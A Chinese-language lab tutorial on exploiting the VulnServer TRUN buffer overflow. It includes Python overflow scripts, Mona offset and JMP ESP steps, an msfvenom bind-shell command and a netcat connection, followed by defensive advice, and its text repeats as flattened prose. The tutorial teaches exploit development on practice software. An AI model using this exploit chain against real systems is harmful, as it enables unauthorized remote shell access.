通过虚构EIP重写来执行TRUN命令
字数 1136 2025-08-25 22:58:40

VulnServer TRUN命令缓冲区溢出漏洞利用教程

1. 环境准备

1.1 目标程序

  • VulnServer: 一个基于Windows的线程TCP服务器程序,设计用于漏洞利用学习
  • 监听端口: 9999/tcp
  • 可用命令: 通过HELP命令查看,除HELP和EXIT外,其他命令都需要一个参数

1.2 测试工具

  • SPIKE模糊测试工具
  • Wireshark网络分析工具
  • Mona.py (Immunity Debugger插件)
  • msfvenom (Metasploit框架的一部分)
  • Python脚本环境

2. 漏洞发现与分析

2.1 模糊测试TRUN命令

使用SPIKE模板(trun.spk)进行模糊测试:

s_readline();
s_string("TRUN ");
s_string_variable("FUZZ");

2.2 崩溃分析

  • 发送约5000字节数据导致程序崩溃
  • EAX寄存器包含命令(TRUN)和模糊测试字符串
  • ESP和EIP被模糊测试字符串覆盖

3. 漏洞利用开发

3.1 确定缓冲区长度

使用Python脚本发送5000个"A"字符确认崩溃:

#!/usr/bin/python
import socket
host = "192.168.1.129"
port = 9999
buffer = "A"*5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("TRUN " + buffer)
s.close()

3.2 定位EIP覆盖点

  1. 使用Mona生成5000字节唯一字符串:
    !mona pc 5000
    
  2. 替换脚本中的缓冲区为唯一字符串
  3. 崩溃后观察EIP值(示例中为6F43376F)
  4. 使用Mona确定偏移量:
    !mona findmsp
    
    结果显示偏移量为2002字节

3.3 验证偏移量

更新Python脚本验证偏移量:

buffer = "A"*2002
buffer += "BBBB"  # 覆盖EIP
buffer += "C"*(5000-len(buffer))

3.4 识别坏字符

  1. 使用Mona生成所有可能的字符(0x00-0xFF):
    !mona bytearray
    
  2. 在脚本中测试这些字符(注意排除NULL字节\x00):
badchars = ("\x01\x02\x03...\xff")  # 完整列表见原文
buffer = "A"*2002
buffer += "BBBB"
buffer += badchars
buffer += "C"*(5000-len(buffer))
  1. 内存转储显示只有NULL字节(\x00)是坏字符

3.5 查找JMP ESP指令

  1. 使用Mona在essfunc.dll中搜索JMP ESP指令:
    !mona jmp -r esp -m "essfunc.dll"
    
  2. 选择第一个地址: 0x625011AF (需考虑小端格式)

4. 生成并部署Shellcode

4.1 使用msfvenom生成Shellcode

生成绑定TCP的shellcode,排除NULL字节:

msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f c

4.2 构建最终利用代码

#!/usr/bin/python
import socket
host = "192.168.1.129"
port = 9999

# msfvenom生成的shellcode
shellcode = ("\xdb\xcd\xd9\x74...\x62\xd7")  # 完整shellcode见原文

buffer = "A"*2002
buffer += "\xAF\x11\x50\x62"  # 625011AF JMP ESP (小端格式)
buffer += "\x90"*16  # NOP sled
buffer += shellcode
buffer += "C"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("TRUN " + buffer)
s.close()

5. 漏洞利用验证

成功执行后:

  • 目标机器在4444/tcp端口打开监听
  • 可以使用netcat或其他工具连接获取shell:
    nc 192.168.1.129 4444
    

6. 关键点总结

  1. 偏移量确定: 使用唯一字符串模式定位EIP覆盖点(2002字节)
  2. 坏字符分析: 确认只有NULL字节(\x00)是坏字符
  3. 返回地址选择: 使用应用程序自带DLL中的JMP ESP指令(0x625011AF)
  4. Shellcode构造: 使用msfvenom生成排除坏字符的绑定TCP shellcode
  5. NOP sled: 添加16字节NOP指令(\x90)增加可靠性

7. 防御建议

  1. 实现输入验证和长度检查
  2. 使用安全编译选项(/GS)
  3. 启用DEP和ASLR保护机制
  4. 避免使用不安全的字符串处理函数
VulnServer TRUN命令缓冲区溢出漏洞利用教程 1. 环境准备 1.1 目标程序 VulnServer: 一个基于Windows的线程TCP服务器程序,设计用于漏洞利用学习 监听端口: 9999/tcp 可用命令: 通过HELP命令查看,除HELP和EXIT外,其他命令都需要一个参数 1.2 测试工具 SPIKE模糊测试工具 Wireshark网络分析工具 Mona.py (Immunity Debugger插件) msfvenom (Metasploit框架的一部分) Python脚本环境 2. 漏洞发现与分析 2.1 模糊测试TRUN命令 使用SPIKE模板(trun.spk)进行模糊测试: 2.2 崩溃分析 发送约5000字节数据导致程序崩溃 EAX寄存器包含命令(TRUN)和模糊测试字符串 ESP和EIP被模糊测试字符串覆盖 3. 漏洞利用开发 3.1 确定缓冲区长度 使用Python脚本发送5000个"A"字符确认崩溃: 3.2 定位EIP覆盖点 使用Mona生成5000字节唯一字符串: 替换脚本中的缓冲区为唯一字符串 崩溃后观察EIP值(示例中为6F43376F) 使用Mona确定偏移量: 结果显示偏移量为2002字节 3.3 验证偏移量 更新Python脚本验证偏移量: 3.4 识别坏字符 使用Mona生成所有可能的字符(0x00-0xFF): 在脚本中测试这些字符(注意排除NULL字节\x00): 内存转储显示只有NULL字节(\x00)是坏字符 3.5 查找JMP ESP指令 使用Mona在essfunc.dll中搜索JMP ESP指令: 选择第一个地址: 0x625011AF (需考虑小端格式) 4. 生成并部署Shellcode 4.1 使用msfvenom生成Shellcode 生成绑定TCP的shellcode,排除NULL字节: 4.2 构建最终利用代码 5. 漏洞利用验证 成功执行后: 目标机器在4444/tcp端口打开监听 可以使用netcat或其他工具连接获取shell: 6. 关键点总结 偏移量确定 : 使用唯一字符串模式定位EIP覆盖点(2002字节) 坏字符分析 : 确认只有NULL字节(\x00)是坏字符 返回地址选择 : 使用应用程序自带DLL中的JMP ESP指令(0x625011AF) Shellcode构造 : 使用msfvenom生成排除坏字符的绑定TCP shellcode NOP sled : 添加16字节NOP指令(\x90)增加可靠性 7. 防御建议 实现输入验证和长度检查 使用安全编译选项(/GS) 启用DEP和ASLR保护机制 避免使用不安全的字符串处理函数